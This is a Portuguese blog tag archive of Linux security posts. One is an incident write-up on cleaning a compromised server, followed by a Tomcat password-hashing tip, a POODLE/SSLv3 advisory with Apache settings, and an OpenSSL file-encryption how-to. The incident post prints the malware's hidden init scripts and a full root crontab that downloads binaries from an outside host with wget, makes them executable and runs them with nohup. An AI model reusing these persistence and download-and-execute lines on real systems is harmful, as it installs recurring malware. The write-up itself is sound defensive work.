Arquivo de etiquetas: Linux

Malware no Linux

Bom dia, boa tarde ou boa noite … 🙂

Hoje foi um dia inusitado, fui chamado para um trabalho e me deparei com um servidor Linux comprometido por um MALWARE, sim um MALWARE que estava instalado na máquina, como não e comum vermos isso nos servidores, vamos a remoção, mas também anotações para poder divulgar, vamos lá.

Identificação

Primeiro de tudo, vamos aos pontos que tenho absoluta certeza que foram estes que levaram a invasão deste servidor,

1 – O firewall mantinha a senha padrão de instalação, isso mesmo a padrão, era um appliance cuja a marca não vem ao caso;

2 – Ainda no firewall havia uma regra de encaminhamento da conexão usada pelo protocolo SSH, na porta padrão 22, diretamente para o servidor que hospedava o MALWARE;

3 – A senha de root fraca;

Estes pontos foram cruciais para comprometer o servidor, ainda que possam existir casos de ambientes que não poderemos bloquear o acesso do usuário root diretamente, podemos ao menos dificultar seu acesso.
A caçada

Ao observar a rede notei diversas quedas de comunicação com o gateway, impossibilitando a conexão de rede de todos desktops da LAN, ao ser informado pelo contratante que ao desligar o servidor Linux a rede voltava ao seu estado normal me concentrei apenas nesta máquina.
O servidor apresentava altos consumos de CPU e memória em diversos momentos, cronometrados até, ao observar os processos que estavam sendo executados na maquina me levou a perceber que o processo que causava o aumento de consumo mudava com muita frequência, logo tentei verificar quem executa o tal processo, chegando scripts de inicialização achei uma informação importante:

/etc/init.d/.SSH2
/etc/init.d/.SSHH2

estes apontavam para um executável dento de /etc/.SSH2, que por sua vez executava os seguintes arquivos:

/etc/gfhjrtfyhuf
/etc/sfewfesfs
/etc/gdmorpen
/etc/fdsfsfvff
/etc/rewgtf3er4t
/etc/smarvtd
/etc/whitptabil
/tmp/gfhjrtfyhuf
/tmp/sfewfesfs
/tmp/gdmorpen
/tmp/fdsfsfvff
/tmp/rewgtf3er4t
/tmp/smarvtd
/tmp/whitptabil

O servidor mantinha conexão com um IP externo alocado na China, por causa de um dos arquivos citados acima, a informação foi verificada usando os comandos netstat e lsof:

netstat -tupan

A saída deste comando mostrava o número do processo, quem executava e a conexão, com o número do processo executei o comando:

lsof -p “PID”

Capturei mais informações sobre este arquivo.

O processo criava uns arquivos “/tmp/.sshdd140*” que em pouco tempo tomavam a CPU da maquina inteira impossibilitando a conexão, e o que é pior, neste momento o servidor tentará fazer spoofing na rede inteira, fazendo todas as conexões caírem no /dev/null.

Ao remover os arquivos, o que acontecia??? eles se criavam novamente … 🙁
Mas ai ficou mais fácil, vamos analisar a CRON, buscando informações no serviço dentre seus arquivos encontrei no /var/spool/cron/root as seguintes entradas:

*/99 * * * * killall -9 fdsfsfvff
*/98 * * * * killall -9 gfhjrtfyhuf
*/97 * * * * killall -9 fdsfsfvff
*/96 * * * * killall -9 rewgtf3er4t
*/95 * * * * killall -9 whitptabil
*/94 * * * * killall -9 gdmorpen
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/gfhjrtfyhuf
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/sfewfesfs
*/130 * * * * cd /etc; wget -c http://www.frade8c.com:9162/fdsfsfvff
*/130 * * * * cd /etc; wget -c http://www.frade8c.com:9162/smarvtd
*/140 * * * * cd /etc; wget -c http://www.frade8c.com:9162/rewgtf3er4t
*/140 * * * * cd /etc; wget -c http://www.frade8c.com:9162/whitptabil
*/120 * * * * cd /etc; wget -c http://www.frade8c.com:9162/gdmorpen
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir gfhjrtfyhuf
*/360 * * * * cd /etc;rm -rf dir gdmorpen
*/360 * * * * cd /etc;rm -rf dir fdsfsfvff
*/360 * * * * cd /etc;rm -rf dir rewgtf3er4t
*/360 * * * * cd /etc;rm -rf dir smarvtd
*/360 * * * * cd /etc;rm -rf dir whitptabil
*/1 * * * * cd /etc;rm -rf dir sfewfesfs.*
*/1 * * * * cd /etc;rm -rf dir gfhjrtfyhuf.*
*/1 * * * * cd /etc;rm -rf dir gdmorpen.*
*/1 * * * * cd /etc;rm -rf dir fdsfsfvff.*
*/1 * * * * cd /etc;rm -rf dir rewgtf3er4t.*
*/1 * * * * cd /etc;rm -rf dir smarvtd.*
*/1 * * * * cd /etc;rm -rf dir whitptabil.*
*/1 * * * * chmod 7777 /etc/gfhjrtfyhuf
*/1 * * * * chmod 7777 /etc/sfewfesfs
*/1 * * * * chmod 7777 /etc/gdmorpen
*/1 * * * * chmod 7777 /etc/fdsfsfvff
*/1 * * * * chmod 7777 /etc/rewgtf3er4t
*/1 * * * * chmod 7777 /etc/smarvtd
*/1 * * * * chmod 7777 /etc/whitptabil
*/1 * * * * chmod 7777 /tmp/gfhjrtfyhuf
*/1 * * * * chmod 7777 /tmp/sfewfesfs
*/1 * * * * chmod 7777 /tmp/gdmorpen
*/1 * * * * chmod 7777 /tmp/fdsfsfvff
*/1 * * * * chmod 7777 /tmp/rewgtf3er4t
*/1 * * * * chmod 7777 /tmp/smarvtd
*/1 * * * * chmod 7777 /tmp/whitptabil
*/120 * * * * nohup /tmp/whitptabil > /dev/null 2>&1&
*/120 * * * * nohup /tmp/smarvtd > /dev/null 2>&1&
*/120 * * * * nohup /tmp/rewgtf3er4t > /dev/null 2>&1&
*/120 * * * * nohup /tmp/fdsfsfvff > /dev/null 2>&1&
*/120 * * * * nohup /tmp/gdmorpen > /dev/null 2>&1&
*/120 * * * * nohup /tmp/sfewfesfs > /dev/null 2>&1&
*/99 * * * * nohup /etc/sfewfesfs > /dev/null 2>&1&
*/100 * * * * nohup /etc/fdsfsfvff > /dev/null 2>&1&
*/99 * * * * nohup /etc/gfhjrtfyhuf > /dev/null 2>&1&
*/98 * * * * nohup /etc/fdsfsfvff > /dev/null 2>&1&
*/97 * * * * nohup /etc/rewgtf3er4t > /dev/null 2>&1&
*/96 * * * * nohup /etc/whitptabil > /dev/null 2>&1&
*/95 * * * * nohup /etc/gdmorpen > /dev/null 2>&1&
*/1 * * * * echo “unset MAILCHECK” >> /etc/profile

Vejam todas entradas maliciosas que estavam configuradas.

Somente após todas as remoces devidas e configurações segundo as boas praticas de segurança no servidor e no firewall, pude comemorar 🙂

Vivendo aprendendo e debugando… 🙂

Segurança no APACHE TOMCAT

Não sou expert em TOMCAT, mas vai uma dica de segurança para o ambiente WEB que você pode fornecer, em alguns lugares é comum manter as senhas em texto claro dos usuários e administradores do TOMCAT, desta forma voce pode colocar o hash da senha no lugar do texto claro para controle de acesso.
 
[tomcat1@redhat tomcat]$ vim conf/server.xml
 
server.xml
 
 
 
 
[tomcat1@redhat tomcat]$ bin/digest.sh  -a sha tomcat@desenvolvedores
tomcat@desenvolvedores:366ef07d523e234fb87d2f1422c73c287ea659a9
 
Snap 2014-09-05 at 15.53.05
 
 
 
 
 
 
 
 
 
 
 
 
 
referência: http://davidghedini.blogspot.com.br/2010/07/tomcat-manager-password.html

Google’s POODLE affects oodles

SSL v3

Nova vulnerabilidade muito importante foi encontrada, dessa vez pela equipe do Google, o protocolo com problemas é o SSL v3.0.

O artigo original é este:
http://googleonlinesecurity.blogspot.com.au/2014/10/this-poodle-bites-exploiting-ssl-30.html

Segundo estudo do site NETCRAFT 97% dos servidores WEB hoje estão vulneráveis:
http://news.netcraft.com/archives/2014/10/15/googles-poodle-affects-oodles.html

“Se um dos lados só suporta SSL 3.0, em seguida, toda a esperança se foi, e um atualização necessária para evitar a criptografia insegura”, escrevem eles em O POODLE Mordida: explorando o SSL 3.0 Fallback [PDF] .

A comunidade Openssl divulgou este artigo sobre a vulnerabilidade:
https://www.openssl.org/~bodo/ssl-poodle.pdf

Ao negociar a criptografia usada na sessão entre o navegador web e o servidor web, no momento inicial o servidor tenta a solicitação com a criptografia mais alta disponibilizada em sua configuração, no entanto caso o navegador não suporte a criptografia usada no navegador do usuário, pode existir várias outras tentativas, até mesmo por falhas na comunicação de rede, até o momento em que o navegador e o servidor web negociem a versão mais adequada para realizar a transferência dos dados, porém um atacante ativo que possui controle dessa negociação pode fazer o servidor iniciar a comunicação usando o protocolo SSL v3, onde todos os navegadores dão suporte.

Desabilitar SSLv3 no Apache

The SSL configuration file changed slightly in httpd version 2.2.23. For httpd version 2.2.23 and newer, specify TLSv1, TLSv1.1, and TLSv1.2.
SSLProtocol +TLSv1 +TLSv1.1 +TLSv1.2
For httpd version 2.2.22 and older, only specify TLSv1. This is treated as a wildcard for all TLS versions.
SSLProtocol TLSv1            

Solução oficial da redhat:

https://access.redhat.com/solutions/1232413

Cifrar arquivos no linux com OPENSSL

Bom dia …
me deparei com uma situação interessante, tive que enviar alguns arquivos para um cliente e ele exigia que fossem encriptados devido a sua potencial importância, bem não é errado dizer que quem deve informar o grau de sigilo do arquivo é o dono do arquivo. Pensando no principio da confiabilidade e integridade podemos chegar a conclusão básica, vamos encriptar e enviar o pacote encriptado e junto com um “hash” do arquivo.
tudo na linha de comando, não pode ser diferente né, se fosse fácil não tinha graça.
usaremos o arquivo chamado segredo.txt
 
Primeiramente vamos tirar um hash do arquivo antes da encriptação:
root@redhat::~# md5sum segredo.txt
ceb01ad5f429e14a37aa0066017ec038
 
 
Agora vamos encriptar de fato:
root@redhat::~# openssl enc -aes-256-cbc -in segredo.txt -out segredo.enc
ceb01ad5f429e14a37aa0066017ec038
O procedimento obriga colocar uma senha (porque deveria colocar uma senha?  se você NÃO colocar para que todo esse processo), após o envio do arquivo e do hash, o cliente pode decrepitar o pacote e fazer a comparação do código que eu enviei e com o que ele obteve fazendo o mesmo procedimento. Caso o hash não seja igual pode descartar o pacote porque ele não esta mais integro.
Para a decrepitação:
root@redhat::~# openssl enc -aes-256-cbc -d -in segredo.enc -out segredo.txt
ceb01ad5f429e14a37aa0066017ec038
 
 
 
Pronto !!!
Como enviei a senha? pelo telefone e não foi pelo whatsapp.